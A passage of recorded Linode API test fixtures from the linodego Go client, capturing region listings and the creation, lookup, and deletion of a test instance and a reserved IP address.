"Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-345lbd2b9oa0","firewall_id":1339169,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 68361091, "label": "go-test-ins-wo-disk-345lbd2b9oa0", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.115.4"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "58b502ff98a4081434a97fe5a4f00bb7835d155c", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-j802bs96jbj2","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361091/configs method: POST response: body: '{"id": 71709940, "label": "go-test-conf-j802bs96jbj2", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/194.195.115.4 method: GET response: body: '{"address": "194.195.115.4", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-4.ip.linodeusercontent.com", "linode_id": 68361091, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "268" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "172.105.63.218", "gateway": "172.105.63.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-63-218.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/172.105.63.218 method: GET response: body: '{"address": "172.105.63.218", "gateway": "172.105.63.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-63-218.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/172.105.63.218 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361091 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestIPAddress_GetMissing.yaml000066400000000000000000000022631474652371000322620ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/10.0.0.1 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:27 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestIPAddress_Instance_Allocate.yaml000066400000000000000000001543221474652371000335650ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud 